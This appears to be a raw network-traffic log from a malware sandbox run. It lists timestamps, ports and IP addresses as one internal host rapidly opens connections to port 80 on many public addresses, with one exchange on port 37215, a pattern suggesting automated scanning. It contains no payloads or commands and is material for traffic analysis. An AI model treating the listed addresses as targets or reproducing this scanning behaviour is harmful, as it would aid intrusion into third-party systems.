Dec 3, 2024 22:11:47.863920927 CET	56064	80	192.168.2.23	91.179.4.197
Dec 3, 2024 22:11:47.864454031 CET	55360	80	192.168.2.23	101.242.71.7
Dec 3, 2024 22:11:47.864993095 CET	56808	80	192.168.2.23	208.247.27.129
Dec 3, 2024 22:11:47.865537882 CET	41822	80	192.168.2.23	198.13.188.248
Dec 3, 2024 22:11:47.866122961 CET	34944	80	192.168.2.23	2.92.50.4
Dec 3, 2024 22:11:47.879676104 CET	56342	80	192.168.2.23	77.64.164.173
Dec 3, 2024 22:11:47.880302906 CET	47296	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:47.880955935 CET	38304	80	192.168.2.23	39.59.187.16
Dec 3, 2024 22:11:47.881654978 CET	49726	80	192.168.2.23	154.225.38.211
Dec 3, 2024 22:11:47.948277950 CET	80	6883	160.247.51.9	192.168.2.23
Dec 3, 2024 22:11:47.948291063 CET	80	6883	144.30.94.29	192.168.2.23
Dec 3, 2024 22:11:47.948298931 CET	80	6883	77.9.102.153	192.168.2.23
Dec 3, 2024 22:11:47.948311090 CET	80	6883	217.26.115.252	192.168.2.23
Dec 3, 2024 22:11:47.948337078 CET	80	6883	217.229.54.255	192.168.2.23
Dec 3, 2024 22:11:47.948348045 CET	80	6883	54.224.48.72	192.168.2.23
Dec 3, 2024 22:11:47.948357105 CET	80	6883	170.111.11.90	192.168.2.23
Dec 3, 2024 22:11:47.948364973 CET	80	6883	85.2.63.96	192.168.2.23
Dec 3, 2024 22:11:47.948369026 CET	6883	80	192.168.2.23	144.30.94.29
Dec 3, 2024 22:11:47.948375940 CET	80	6883	13.240.147.70	192.168.2.23
Dec 3, 2024 22:11:47.948384047 CET	80	6883	170.246.55.23	192.168.2.23
Dec 3, 2024 22:11:47.948390961 CET	80	6883	120.140.146.49	192.168.2.23
Dec 3, 2024 22:11:47.948396921 CET	6883	80	192.168.2.23	160.247.51.9
Dec 3, 2024 22:11:47.948396921 CET	6883	80	192.168.2.23	54.224.48.72
Dec 3, 2024 22:11:47.948400021 CET	80	6883	60.40.205.215	192.168.2.23
Dec 3, 2024 22:11:47.948404074 CET	80	6883	188.239.8.166	192.168.2.23
Dec 3, 2024 22:11:47.948407888 CET	80	6883	208.25.237.68	192.168.2.23
Dec 3, 2024 22:11:47.948411942 CET	80	6883	49.173.189.48	192.168.2.23
Dec 3, 2024 22:11:47.948415041 CET	80	6883	194.143.97.226	192.168.2.23
Dec 3, 2024 22:11:47.948419094 CET	80	6883	2.226.226.122	192.168.2.23
Dec 3, 2024 22:11:47.948422909 CET	80	6883	183.87.43.199	192.168.2.23
Dec 3, 2024 22:11:47.948427916 CET	80	6883	132.124.5.253	192.168.2.23
Dec 3, 2024 22:11:47.948431969 CET	80	6883	72.255.255.255	192.168.2.23
Dec 3, 2024 22:11:47.948432922 CET	6883	80	192.168.2.23	13.240.147.70
Dec 3, 2024 22:11:47.948435068 CET	6883	80	192.168.2.23	217.26.115.252
Dec 3, 2024 22:11:47.948435068 CET	6883	80	192.168.2.23	170.111.11.90
Dec 3, 2024 22:11:47.948435068 CET	6883	80	192.168.2.23	170.246.55.23
Dec 3, 2024 22:11:47.948435068 CET	6883	80	192.168.2.23	77.9.102.153
Dec 3, 2024 22:11:47.948435068 CET	6883	80	192.168.2.23	217.229.54.255
Dec 3, 2024 22:11:47.948436022 CET	6883	80	192.168.2.23	85.2.63.96
Dec 3, 2024 22:11:47.948441029 CET	80	6883	103.232.61.157	192.168.2.23
Dec 3, 2024 22:11:47.948462009 CET	80	6883	34.251.48.225	192.168.2.23
Dec 3, 2024 22:11:47.948471069 CET	80	6883	143.54.16.200	192.168.2.23
Dec 3, 2024 22:11:47.948478937 CET	80	6883	57.107.165.134	192.168.2.23
Dec 3, 2024 22:11:47.948501110 CET	80	6883	204.38.114.132	192.168.2.23
Dec 3, 2024 22:11:47.948508978 CET	80	6883	106.54.60.250	192.168.2.23
Dec 3, 2024 22:11:47.948518038 CET	6883	80	192.168.2.23	208.25.237.68
Dec 3, 2024 22:11:47.948518038 CET	6883	80	192.168.2.23	49.173.189.48
Dec 3, 2024 22:11:47.948515892 CET	6883	80	192.168.2.23	72.255.255.255
Dec 3, 2024 22:11:47.948519945 CET	6883	80	192.168.2.23	2.226.226.122
Dec 3, 2024 22:11:47.948519945 CET	6883	80	192.168.2.23	103.232.61.157
Dec 3, 2024 22:11:47.948522091 CET	6883	80	192.168.2.23	60.40.205.215
Dec 3, 2024 22:11:47.948522091 CET	6883	80	192.168.2.23	120.140.146.49
Dec 3, 2024 22:11:47.948522091 CET	6883	80	192.168.2.23	188.239.8.166
Dec 3, 2024 22:11:47.948548079 CET	80	6883	190.227.24.252	192.168.2.23
Dec 3, 2024 22:11:47.948563099 CET	80	6883	23.234.220.140	192.168.2.23
Dec 3, 2024 22:11:47.948574066 CET	6883	80	192.168.2.23	57.107.165.134
Dec 3, 2024 22:11:47.948575020 CET	6883	80	192.168.2.23	194.143.97.226
Dec 3, 2024 22:11:47.948575020 CET	6883	80	192.168.2.23	132.124.5.253
Dec 3, 2024 22:11:47.948575020 CET	6883	80	192.168.2.23	106.54.60.250
Dec 3, 2024 22:11:47.948581934 CET	6883	80	192.168.2.23	143.54.16.200
Dec 3, 2024 22:11:47.948581934 CET	6883	80	192.168.2.23	183.87.43.199
Dec 3, 2024 22:11:47.948581934 CET	6883	80	192.168.2.23	34.251.48.225
Dec 3, 2024 22:11:47.948581934 CET	6883	80	192.168.2.23	204.38.114.132
Dec 3, 2024 22:11:47.948596954 CET	6883	80	192.168.2.23	23.234.220.140
Dec 3, 2024 22:11:47.948600054 CET	6883	80	192.168.2.23	190.227.24.252
Dec 3, 2024 22:11:47.948600054 CET	80	6883	209.178.23.34	192.168.2.23
Dec 3, 2024 22:11:47.948611021 CET	80	6883	83.6.82.189	192.168.2.23
Dec 3, 2024 22:11:47.948621035 CET	80	6883	73.20.144.23	192.168.2.23
Dec 3, 2024 22:11:47.948637009 CET	80	6883	180.14.36.140	192.168.2.23
Dec 3, 2024 22:11:47.948677063 CET	80	6883	189.220.255.17	192.168.2.23
Dec 3, 2024 22:11:47.948687077 CET	80	6883	5.195.112.164	192.168.2.23
Dec 3, 2024 22:11:47.948702097 CET	6883	80	192.168.2.23	73.20.144.23
Dec 3, 2024 22:11:47.948707104 CET	6883	80	192.168.2.23	83.6.82.189
Dec 3, 2024 22:11:47.948707104 CET	6883	80	192.168.2.23	209.178.23.34
Dec 3, 2024 22:11:47.948707104 CET	6883	80	192.168.2.23	180.14.36.140
Dec 3, 2024 22:11:47.948726892 CET	6883	80	192.168.2.23	5.195.112.164
Dec 3, 2024 22:11:47.948728085 CET	6883	80	192.168.2.23	189.220.255.17
Dec 3, 2024 22:11:47.948879957 CET	80	6883	31.70.185.152	192.168.2.23
Dec 3, 2024 22:11:47.948893070 CET	80	6883	129.36.36.24	192.168.2.23
Dec 3, 2024 22:11:47.948901892 CET	80	6883	32.151.48.79	192.168.2.23
Dec 3, 2024 22:11:47.948911905 CET	80	6883	57.157.203.189	192.168.2.23
Dec 3, 2024 22:11:47.948918104 CET	6883	80	192.168.2.23	31.70.185.152
Dec 3, 2024 22:11:47.948919058 CET	80	6883	173.130.202.99	192.168.2.23
Dec 3, 2024 22:11:47.948920012 CET	6883	80	192.168.2.23	129.36.36.24
Dec 3, 2024 22:11:47.948928118 CET	80	6883	184.8.149.108	192.168.2.23
Dec 3, 2024 22:11:47.948936939 CET	80	6883	167.108.29.76	192.168.2.23
Dec 3, 2024 22:11:47.948942900 CET	6883	80	192.168.2.23	32.151.48.79
Dec 3, 2024 22:11:47.948945999 CET	80	6883	68.125.157.216	192.168.2.23
Dec 3, 2024 22:11:47.948945999 CET	6883	80	192.168.2.23	173.130.202.99
Dec 3, 2024 22:11:47.948946953 CET	6883	80	192.168.2.23	57.157.203.189
Dec 3, 2024 22:11:47.948955059 CET	80	6883	193.186.188.38	192.168.2.23
Dec 3, 2024 22:11:47.948961020 CET	6883	80	192.168.2.23	184.8.149.108
Dec 3, 2024 22:11:47.948964119 CET	80	6883	167.92.170.106	192.168.2.23
Dec 3, 2024 22:11:47.948966980 CET	6883	80	192.168.2.23	167.108.29.76
Dec 3, 2024 22:11:47.948967934 CET	80	6883	158.241.3.93	192.168.2.23
Dec 3, 2024 22:11:47.948976040 CET	6883	80	192.168.2.23	68.125.157.216
Dec 3, 2024 22:11:47.948978901 CET	80	6883	204.157.103.245	192.168.2.23
Dec 3, 2024 22:11:47.948988914 CET	80	6883	180.21.142.219	192.168.2.23
Dec 3, 2024 22:11:47.948998928 CET	80	6883	133.80.28.127	192.168.2.23
Dec 3, 2024 22:11:47.949007034 CET	80	6883	193.171.83.132	192.168.2.23
Dec 3, 2024 22:11:47.949014902 CET	80	6883	172.137.80.235	192.168.2.23
Dec 3, 2024 22:11:47.949023962 CET	80	6883	130.5.154.77	192.168.2.23
Dec 3, 2024 22:11:47.949027061 CET	6883	80	192.168.2.23	167.92.170.106
Dec 3, 2024 22:11:47.949033976 CET	6883	80	192.168.2.23	158.241.3.93
Dec 3, 2024 22:11:47.949043036 CET	6883	80	192.168.2.23	204.157.103.245
Dec 3, 2024 22:11:47.949043036 CET	6883	80	192.168.2.23	193.171.83.132
Dec 3, 2024 22:11:47.949043036 CET	6883	80	192.168.2.23	193.186.188.38
Dec 3, 2024 22:11:47.949043036 CET	6883	80	192.168.2.23	172.137.80.235
Dec 3, 2024 22:11:47.949050903 CET	6883	80	192.168.2.23	133.80.28.127
Dec 3, 2024 22:11:47.949052095 CET	80	6883	152.206.88.154	192.168.2.23
Dec 3, 2024 22:11:47.949062109 CET	80	6883	76.240.19.1	192.168.2.23
Dec 3, 2024 22:11:47.949065924 CET	6883	80	192.168.2.23	180.21.142.219
Dec 3, 2024 22:11:47.949065924 CET	6883	80	192.168.2.23	130.5.154.77
Dec 3, 2024 22:11:47.949069977 CET	80	6883	160.242.161.245	192.168.2.23
Dec 3, 2024 22:11:47.949081898 CET	6883	80	192.168.2.23	152.206.88.154
Dec 3, 2024 22:11:47.949084044 CET	6883	80	192.168.2.23	76.240.19.1
Dec 3, 2024 22:11:47.949124098 CET	6883	80	192.168.2.23	160.242.161.245
Dec 3, 2024 22:11:47.949412107 CET	80	6883	132.134.38.55	192.168.2.23
Dec 3, 2024 22:11:47.949421883 CET	80	6883	58.199.152.19	192.168.2.23
Dec 3, 2024 22:11:47.949429989 CET	80	6883	131.105.138.237	192.168.2.23
Dec 3, 2024 22:11:47.949438095 CET	80	6883	147.105.180.203	192.168.2.23
Dec 3, 2024 22:11:47.949455023 CET	6883	80	192.168.2.23	58.199.152.19
Dec 3, 2024 22:11:47.949455976 CET	6883	80	192.168.2.23	132.134.38.55
Dec 3, 2024 22:11:47.949455976 CET	6883	80	192.168.2.23	131.105.138.237
Dec 3, 2024 22:11:47.949469090 CET	6883	80	192.168.2.23	147.105.180.203
Dec 3, 2024 22:11:47.949495077 CET	80	6883	79.124.238.227	192.168.2.23
Dec 3, 2024 22:11:47.949503899 CET	80	6883	161.253.241.77	192.168.2.23
Dec 3, 2024 22:11:47.949512005 CET	80	6883	59.75.42.59	192.168.2.23
Dec 3, 2024 22:11:47.949521065 CET	80	6883	14.141.3.196	192.168.2.23
Dec 3, 2024 22:11:47.949528933 CET	80	6883	130.183.171.183	192.168.2.23
Dec 3, 2024 22:11:47.949598074 CET	6883	80	192.168.2.23	59.75.42.59
Dec 3, 2024 22:11:47.949598074 CET	6883	80	192.168.2.23	14.141.3.196
Dec 3, 2024 22:11:47.949599981 CET	6883	80	192.168.2.23	161.253.241.77
Dec 3, 2024 22:11:47.949599981 CET	6883	80	192.168.2.23	79.124.238.227
Dec 3, 2024 22:11:47.949599981 CET	6883	80	192.168.2.23	130.183.171.183
Dec 3, 2024 22:11:47.951525927 CET	80	6883	4.46.179.190	192.168.2.23
Dec 3, 2024 22:11:47.951535940 CET	80	6883	49.62.38.109	192.168.2.23
Dec 3, 2024 22:11:47.951544046 CET	80	6883	151.105.44.11	192.168.2.23
Dec 3, 2024 22:11:47.951597929 CET	6883	80	192.168.2.23	4.46.179.190
Dec 3, 2024 22:11:47.951597929 CET	6883	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:47.951597929 CET	6883	80	192.168.2.23	151.105.44.11
Dec 3, 2024 22:11:47.951765060 CET	80	38762	51.134.184.47	192.168.2.23
Dec 3, 2024 22:11:47.951813936 CET	38762	80	192.168.2.23	51.134.184.47
Dec 3, 2024 22:11:47.952348948 CET	42484	80	192.168.2.23	144.30.94.29
Dec 3, 2024 22:11:47.952956915 CET	54236	80	192.168.2.23	160.247.51.9
Dec 3, 2024 22:11:47.953624010 CET	42346	80	192.168.2.23	54.224.48.72
Dec 3, 2024 22:11:47.954293013 CET	43048	80	192.168.2.23	77.9.102.153
Dec 3, 2024 22:11:47.954854012 CET	60248	80	192.168.2.23	217.26.115.252
Dec 3, 2024 22:11:47.955413103 CET	51872	80	192.168.2.23	217.229.54.255
Dec 3, 2024 22:11:47.956007004 CET	60630	80	192.168.2.23	170.111.11.90
Dec 3, 2024 22:11:47.956581116 CET	46048	80	192.168.2.23	13.240.147.70
Dec 3, 2024 22:11:47.957173109 CET	40850	80	192.168.2.23	85.2.63.96
Dec 3, 2024 22:11:47.957737923 CET	46934	80	192.168.2.23	170.246.55.23
Dec 3, 2024 22:11:47.958455086 CET	53024	80	192.168.2.23	60.40.205.215
Dec 3, 2024 22:11:47.958992004 CET	58562	80	192.168.2.23	120.140.146.49
Dec 3, 2024 22:11:47.959574938 CET	58948	80	192.168.2.23	188.239.8.166
Dec 3, 2024 22:11:47.959651947 CET	80	49774	115.148.141.242	192.168.2.23
Dec 3, 2024 22:11:47.959702015 CET	49774	80	192.168.2.23	115.148.141.242
Dec 3, 2024 22:11:47.960143089 CET	53660	80	192.168.2.23	2.226.226.122
Dec 3, 2024 22:11:47.960757971 CET	32778	80	192.168.2.23	72.255.255.255
Dec 3, 2024 22:11:47.961349010 CET	33354	80	192.168.2.23	208.25.237.68
Dec 3, 2024 22:11:47.961945057 CET	49704	80	192.168.2.23	103.232.61.157
Dec 3, 2024 22:11:47.962502003 CET	33948	80	192.168.2.23	143.54.16.200
Dec 3, 2024 22:11:47.963149071 CET	33614	80	192.168.2.23	49.173.189.48
Dec 3, 2024 22:11:47.963809013 CET	57464	80	192.168.2.23	194.143.97.226
Dec 3, 2024 22:11:47.964476109 CET	45816	80	192.168.2.23	183.87.43.199
Dec 3, 2024 22:11:47.965135098 CET	54094	80	192.168.2.23	132.124.5.253
Dec 3, 2024 22:11:47.965905905 CET	50532	80	192.168.2.23	34.251.48.225
Dec 3, 2024 22:11:47.966746092 CET	38404	80	192.168.2.23	57.107.165.134
Dec 3, 2024 22:11:47.967323065 CET	36366	80	192.168.2.23	106.54.60.250
Dec 3, 2024 22:11:47.968086004 CET	34282	80	192.168.2.23	204.38.114.132
Dec 3, 2024 22:11:47.968671083 CET	43614	80	192.168.2.23	190.227.24.252
Dec 3, 2024 22:11:47.969348907 CET	41184	80	192.168.2.23	23.234.220.140
Dec 3, 2024 22:11:47.969950914 CET	54640	80	192.168.2.23	209.178.23.34
Dec 3, 2024 22:11:47.970575094 CET	57740	80	192.168.2.23	83.6.82.189
Dec 3, 2024 22:11:47.971319914 CET	53736	80	192.168.2.23	73.20.144.23
Dec 3, 2024 22:11:47.971380949 CET	37215	5603	197.50.198.27	192.168.2.23
Dec 3, 2024 22:11:47.971456051 CET	5603	37215	192.168.2.23	197.50.198.27
Dec 3, 2024 22:11:47.971987963 CET	56886	80	192.168.2.23	180.14.36.140
Dec 3, 2024 22:11:47.972593069 CET	35132	80	192.168.2.23	189.220.255.17
Dec 3, 2024 22:11:47.973124027 CET	40576	80	192.168.2.23	5.195.112.164
Dec 3, 2024 22:11:47.973745108 CET	47592	80	192.168.2.23	31.70.185.152
Dec 3, 2024 22:11:47.974277020 CET	54664	80	192.168.2.23	129.36.36.24
Dec 3, 2024 22:11:47.974829912 CET	54714	80	192.168.2.23	32.151.48.79
Dec 3, 2024 22:11:47.975383997 CET	50246	80	192.168.2.23	173.130.202.99
Dec 3, 2024 22:11:47.975980997 CET	49464	80	192.168.2.23	57.157.203.189
Dec 3, 2024 22:11:47.976495028 CET	58260	80	192.168.2.23	184.8.149.108
Dec 3, 2024 22:11:47.977161884 CET	56088	80	192.168.2.23	167.108.29.76
Dec 3, 2024 22:11:47.977720022 CET	36382	80	192.168.2.23	68.125.157.216
Dec 3, 2024 22:11:47.978254080 CET	56272	80	192.168.2.23	193.186.188.38
Dec 3, 2024 22:11:47.978806973 CET	49012	80	192.168.2.23	167.92.170.106
Dec 3, 2024 22:11:47.979374886 CET	38370	80	192.168.2.23	158.241.3.93
Dec 3, 2024 22:11:47.979691982 CET	80	43438	140.106.83.149	192.168.2.23
Dec 3, 2024 22:11:47.979753971 CET	43438	80	192.168.2.23	140.106.83.149
Dec 3, 2024 22:11:47.979928970 CET	39882	80	192.168.2.23	204.157.103.245
Dec 3, 2024 22:11:47.980464935 CET	40448	80	192.168.2.23	180.21.142.219
Dec 3, 2024 22:11:47.980956078 CET	52458	80	192.168.2.23	133.80.28.127
Dec 3, 2024 22:11:47.981535912 CET	38610	80	192.168.2.23	193.171.83.132
Dec 3, 2024 22:11:47.982064962 CET	33600	80	192.168.2.23	172.137.80.235
Dec 3, 2024 22:11:47.982620955 CET	51554	80	192.168.2.23	130.5.154.77
Dec 3, 2024 22:11:47.983124018 CET	45850	80	192.168.2.23	152.206.88.154
Dec 3, 2024 22:11:47.983685017 CET	43728	80	192.168.2.23	76.240.19.1
Dec 3, 2024 22:11:47.984210968 CET	41688	80	192.168.2.23	160.242.161.245
Dec 3, 2024 22:11:47.984755039 CET	50252	80	192.168.2.23	132.134.38.55
Dec 3, 2024 22:11:47.985300064 CET	42422	80	192.168.2.23	58.199.152.19
Dec 3, 2024 22:11:47.985830069 CET	59712	80	192.168.2.23	131.105.138.237
Dec 3, 2024 22:11:47.986371040 CET	54336	80	192.168.2.23	147.105.180.203
Dec 3, 2024 22:11:47.986936092 CET	37358	80	192.168.2.23	79.124.238.227
Dec 3, 2024 22:11:47.987535954 CET	39700	80	192.168.2.23	161.253.241.77
Dec 3, 2024 22:11:47.999811888 CET	80	56342	77.64.164.173	192.168.2.23
Dec 3, 2024 22:11:47.999886990 CET	56342	80	192.168.2.23	77.64.164.173
Dec 3, 2024 22:11:48.000200987 CET	80	47296	60.49.222.42	192.168.2.23
Dec 3, 2024 22:11:48.000255108 CET	47296	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:48.003586054 CET	34558	80	192.168.2.23	59.75.42.59
Dec 3, 2024 22:11:48.004216909 CET	46362	80	192.168.2.23	14.141.3.196
Dec 3, 2024 22:11:48.004807949 CET	53624	80	192.168.2.23	130.183.171.183
Dec 3, 2024 22:11:48.005316019 CET	34202	80	192.168.2.23	4.46.179.190
Dec 3, 2024 22:11:48.005845070 CET	46704	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:48.006381035 CET	34044	80	192.168.2.23	151.105.44.11
Dec 3, 2024 22:11:48.006967068 CET	38762	80	192.168.2.23	51.134.184.47
Dec 3, 2024 22:11:48.007019997 CET	38762	80	192.168.2.23	51.134.184.47
Dec 3, 2024 22:11:48.007333994 CET	39016	80	192.168.2.23	51.134.184.47
Dec 3, 2024 22:11:48.007677078 CET	49774	80	192.168.2.23	115.148.141.242
Dec 3, 2024 22:11:48.007677078 CET	49774	80	192.168.2.23	115.148.141.242
Dec 3, 2024 22:11:48.007910967 CET	50002	80	192.168.2.23	115.148.141.242
Dec 3, 2024 22:11:48.008213997 CET	43438	80	192.168.2.23	140.106.83.149
Dec 3, 2024 22:11:48.008228064 CET	43438	80	192.168.2.23	140.106.83.149
Dec 3, 2024 22:11:48.008476973 CET	43606	80	192.168.2.23	140.106.83.149
Dec 3, 2024 22:11:48.008778095 CET	56342	80	192.168.2.23	77.64.164.173
Dec 3, 2024 22:11:48.008778095 CET	56342	80	192.168.2.23	77.64.164.173
Dec 3, 2024 22:11:48.009032965 CET	56488	80	192.168.2.23	77.64.164.173
Dec 3, 2024 22:11:48.009345055 CET	47296	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:48.009345055 CET	47296	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:48.009605885 CET	47442	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:48.079948902 CET	80	42484	144.30.94.29	192.168.2.23
Dec 3, 2024 22:11:48.080003023 CET	80	54236	160.247.51.9	192.168.2.23
Dec 3, 2024 22:11:48.080013990 CET	80	42346	54.224.48.72	192.168.2.23
Dec 3, 2024 22:11:48.080029011 CET	80	43048	77.9.102.153	192.168.2.23
Dec 3, 2024 22:11:48.080039978 CET	80	60248	217.26.115.252	192.168.2.23
Dec 3, 2024 22:11:48.080049038 CET	80	51872	217.229.54.255	192.168.2.23
Dec 3, 2024 22:11:48.080054998 CET	80	60630	170.111.11.90	192.168.2.23
Dec 3, 2024 22:11:48.080097914 CET	42484	80	192.168.2.23	144.30.94.29
Dec 3, 2024 22:11:48.080097914 CET	43048	80	192.168.2.23	77.9.102.153
Dec 3, 2024 22:11:48.080100060 CET	60248	80	192.168.2.23	217.26.115.252
Dec 3, 2024 22:11:48.080104113 CET	54236	80	192.168.2.23	160.247.51.9
Dec 3, 2024 22:11:48.080118895 CET	42346	80	192.168.2.23	54.224.48.72
Dec 3, 2024 22:11:48.080118895 CET	60630	80	192.168.2.23	170.111.11.90
Dec 3, 2024 22:11:48.080131054 CET	51872	80	192.168.2.23	217.229.54.255
Dec 3, 2024 22:11:48.080291033 CET	42484	80	192.168.2.23	144.30.94.29
Dec 3, 2024 22:11:48.080300093 CET	42484	80	192.168.2.23	144.30.94.29
Dec 3, 2024 22:11:48.080305099 CET	80	58948	188.239.8.166	192.168.2.23
Dec 3, 2024 22:11:48.080362082 CET	58948	80	192.168.2.23	188.239.8.166
Dec 3, 2024 22:11:48.080805063 CET	42626	80	192.168.2.23	144.30.94.29
Dec 3, 2024 22:11:48.081201077 CET	54236	80	192.168.2.23	160.247.51.9
Dec 3, 2024 22:11:48.081214905 CET	54236	80	192.168.2.23	160.247.51.9
Dec 3, 2024 22:11:48.081481934 CET	54378	80	192.168.2.23	160.247.51.9
Dec 3, 2024 22:11:48.081799984 CET	42346	80	192.168.2.23	54.224.48.72
Dec 3, 2024 22:11:48.081818104 CET	42346	80	192.168.2.23	54.224.48.72
Dec 3, 2024 22:11:48.082070112 CET	42488	80	192.168.2.23	54.224.48.72
Dec 3, 2024 22:11:48.082412004 CET	43048	80	192.168.2.23	77.9.102.153
Dec 3, 2024 22:11:48.082412004 CET	43048	80	192.168.2.23	77.9.102.153
Dec 3, 2024 22:11:48.082684994 CET	43190	80	192.168.2.23	77.9.102.153
Dec 3, 2024 22:11:48.083039045 CET	60248	80	192.168.2.23	217.26.115.252
Dec 3, 2024 22:11:48.083039045 CET	60248	80	192.168.2.23	217.26.115.252
Dec 3, 2024 22:11:48.083319902 CET	60390	80	192.168.2.23	217.26.115.252
Dec 3, 2024 22:11:48.083671093 CET	51872	80	192.168.2.23	217.229.54.255
Dec 3, 2024 22:11:48.083671093 CET	51872	80	192.168.2.23	217.229.54.255
Dec 3, 2024 22:11:48.083946943 CET	52014	80	192.168.2.23	217.229.54.255
Dec 3, 2024 22:11:48.084300995 CET	60630	80	192.168.2.23	170.111.11.90
Dec 3, 2024 22:11:48.084300995 CET	60630	80	192.168.2.23	170.111.11.90
Dec 3, 2024 22:11:48.084573030 CET	60772	80	192.168.2.23	170.111.11.90
Dec 3, 2024 22:11:48.084983110 CET	58948	80	192.168.2.23	188.239.8.166
Dec 3, 2024 22:11:48.084983110 CET	58948	80	192.168.2.23	188.239.8.166
Dec 3, 2024 22:11:48.085233927 CET	59080	80	192.168.2.23	188.239.8.166
Dec 3, 2024 22:11:48.092148066 CET	80	56886	180.14.36.140	192.168.2.23
Dec 3, 2024 22:11:48.092207909 CET	56886	80	192.168.2.23	180.14.36.140
Dec 3, 2024 22:11:48.092262030 CET	56886	80	192.168.2.23	180.14.36.140
Dec 3, 2024 22:11:48.092262030 CET	56886	80	192.168.2.23	180.14.36.140
Dec 3, 2024 22:11:48.092560053 CET	56982	80	192.168.2.23	180.14.36.140
Dec 3, 2024 22:11:48.099632978 CET	80	38370	158.241.3.93	192.168.2.23
Dec 3, 2024 22:11:48.099688053 CET	38370	80	192.168.2.23	158.241.3.93
Dec 3, 2024 22:11:48.099740982 CET	38370	80	192.168.2.23	158.241.3.93
Dec 3, 2024 22:11:48.099740982 CET	38370	80	192.168.2.23	158.241.3.93
Dec 3, 2024 22:11:48.100033045 CET	38442	80	192.168.2.23	158.241.3.93
Dec 3, 2024 22:11:48.123729944 CET	80	34558	59.75.42.59	192.168.2.23
Dec 3, 2024 22:11:48.123827934 CET	34558	80	192.168.2.23	59.75.42.59
Dec 3, 2024 22:11:48.123883963 CET	34558	80	192.168.2.23	59.75.42.59
Dec 3, 2024 22:11:48.123883963 CET	34558	80	192.168.2.23	59.75.42.59
Dec 3, 2024 22:11:48.124191999 CET	34600	80	192.168.2.23	59.75.42.59
Dec 3, 2024 22:11:48.124330997 CET	80	46362	14.141.3.196	192.168.2.23
Dec 3, 2024 22:11:48.124403000 CET	46362	80	192.168.2.23	14.141.3.196
Dec 3, 2024 22:11:48.124582052 CET	46362	80	192.168.2.23	14.141.3.196
Dec 3, 2024 22:11:48.124582052 CET	46362	80	192.168.2.23	14.141.3.196
Dec 3, 2024 22:11:48.124871969 CET	46404	80	192.168.2.23	14.141.3.196
Dec 3, 2024 22:11:48.188704014 CET	80	38762	51.134.184.47	192.168.2.23
Dec 3, 2024 22:11:48.188715935 CET	80	49774	115.148.141.242	192.168.2.23
Dec 3, 2024 22:11:48.188842058 CET	80	43438	140.106.83.149	192.168.2.23
Dec 3, 2024 22:11:48.188851118 CET	80	56342	77.64.164.173	192.168.2.23
Dec 3, 2024 22:11:48.188858986 CET	80	47296	60.49.222.42	192.168.2.23
Dec 3, 2024 22:11:48.200503111 CET	80	42484	144.30.94.29	192.168.2.23
Dec 3, 2024 22:11:48.200740099 CET	80	42626	144.30.94.29	192.168.2.23
Dec 3, 2024 22:11:48.200835943 CET	42626	80	192.168.2.23	144.30.94.29
Dec 3, 2024 22:11:48.200990915 CET	42626	80	192.168.2.23	144.30.94.29
Dec 3, 2024 22:11:48.201051950 CET	80	54236	160.247.51.9	192.168.2.23
Dec 3, 2024 22:11:48.201414108 CET	80	54378	160.247.51.9	192.168.2.23
Dec 3, 2024 22:11:48.201467991 CET	54378	80	192.168.2.23	160.247.51.9
Dec 3, 2024 22:11:48.201484919 CET	54378	80	192.168.2.23	160.247.51.9
Dec 3, 2024 22:11:48.201729059 CET	80	42346	54.224.48.72	192.168.2.23
Dec 3, 2024 22:11:48.201992035 CET	80	42488	54.224.48.72	192.168.2.23
Dec 3, 2024 22:11:48.202034950 CET	42488	80	192.168.2.23	54.224.48.72
Dec 3, 2024 22:11:48.202056885 CET	42488	80	192.168.2.23	54.224.48.72
Dec 3, 2024 22:11:48.202321053 CET	80	43048	77.9.102.153	192.168.2.23
Dec 3, 2024 22:11:48.202646017 CET	80	43190	77.9.102.153	192.168.2.23
Dec 3, 2024 22:11:48.202687979 CET	43190	80	192.168.2.23	77.9.102.153
Dec 3, 2024 22:11:48.202699900 CET	43190	80	192.168.2.23	77.9.102.153
Dec 3, 2024 22:11:48.203006983 CET	80	60248	217.26.115.252	192.168.2.23
Dec 3, 2024 22:11:48.203236103 CET	80	60390	217.26.115.252	192.168.2.23
Dec 3, 2024 22:11:48.203286886 CET	60390	80	192.168.2.23	217.26.115.252
Dec 3, 2024 22:11:48.203321934 CET	60390	80	192.168.2.23	217.26.115.252
Dec 3, 2024 22:11:48.203620911 CET	80	51872	217.229.54.255	192.168.2.23
Dec 3, 2024 22:11:48.203830004 CET	80	52014	217.229.54.255	192.168.2.23
Dec 3, 2024 22:11:48.203872919 CET	52014	80	192.168.2.23	217.229.54.255
Dec 3, 2024 22:11:48.203886032 CET	52014	80	192.168.2.23	217.229.54.255
Dec 3, 2024 22:11:48.204227924 CET	80	60630	170.111.11.90	192.168.2.23
Dec 3, 2024 22:11:48.204446077 CET	80	60772	170.111.11.90	192.168.2.23
Dec 3, 2024 22:11:48.204490900 CET	60772	80	192.168.2.23	170.111.11.90
Dec 3, 2024 22:11:48.204508066 CET	60772	80	192.168.2.23	170.111.11.90
Dec 3, 2024 22:11:48.205033064 CET	80	58948	188.239.8.166	192.168.2.23
Dec 3, 2024 22:11:48.205229998 CET	80	59080	188.239.8.166	192.168.2.23
Dec 3, 2024 22:11:48.205269098 CET	59080	80	192.168.2.23	188.239.8.166
Dec 3, 2024 22:11:48.205285072 CET	59080	80	192.168.2.23	188.239.8.166
Dec 3, 2024 22:11:48.212333918 CET	80	56886	180.14.36.140	192.168.2.23
Dec 3, 2024 22:11:48.212529898 CET	80	56982	180.14.36.140	192.168.2.23
Dec 3, 2024 22:11:48.212584972 CET	56982	80	192.168.2.23	180.14.36.140
Dec 3, 2024 22:11:48.212616920 CET	56982	80	192.168.2.23	180.14.36.140
Dec 3, 2024 22:11:48.219753027 CET	80	38370	158.241.3.93	192.168.2.23
Dec 3, 2024 22:11:48.231669903 CET	80	47296	60.49.222.42	192.168.2.23
Dec 3, 2024 22:11:48.231718063 CET	80	56342	77.64.164.173	192.168.2.23
Dec 3, 2024 22:11:48.231728077 CET	80	43438	140.106.83.149	192.168.2.23
Dec 3, 2024 22:11:48.231780052 CET	80	49774	115.148.141.242	192.168.2.23
